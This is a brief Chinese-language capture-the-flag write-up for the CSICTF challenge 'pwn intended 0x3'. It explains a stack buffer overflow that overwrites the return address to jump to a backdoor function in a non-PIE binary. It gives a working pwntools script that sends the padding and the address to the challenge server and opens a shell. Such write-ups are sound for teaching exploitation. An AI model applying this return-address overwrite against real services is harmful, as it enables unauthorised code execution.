【CSICTF】pwn intended 0x3 WriteUp

和第二题不同了，这次是需要溢出覆盖ret addr

可以看到后门函数，地址是0x4011CE，并且程序没有开启PIE

from pwn import *
from LibcSearcher import *
from struct import pack

context.os='linux'
context.arch='amd64'
context.log_level='debug'

sd=lambda x:io.send(x)
sl=lambda x:io.sendline(x)
ru=lambda x:io.recvuntil(x)
rl=lambda :io.recvline()
ra=lambda :io.recv()
rn=lambda x:io.recv(x)
sla=lambda x,y:io.sendlineafter(x,y)

io=remote('chall.csivit.com',30013)
#io=process('./pwn-intended-0x3')
elf=ELF('./pwn-intended-0x3')

ra()
sl('a'*(0x20+8)+p64(0x4011CE))

io.interactive()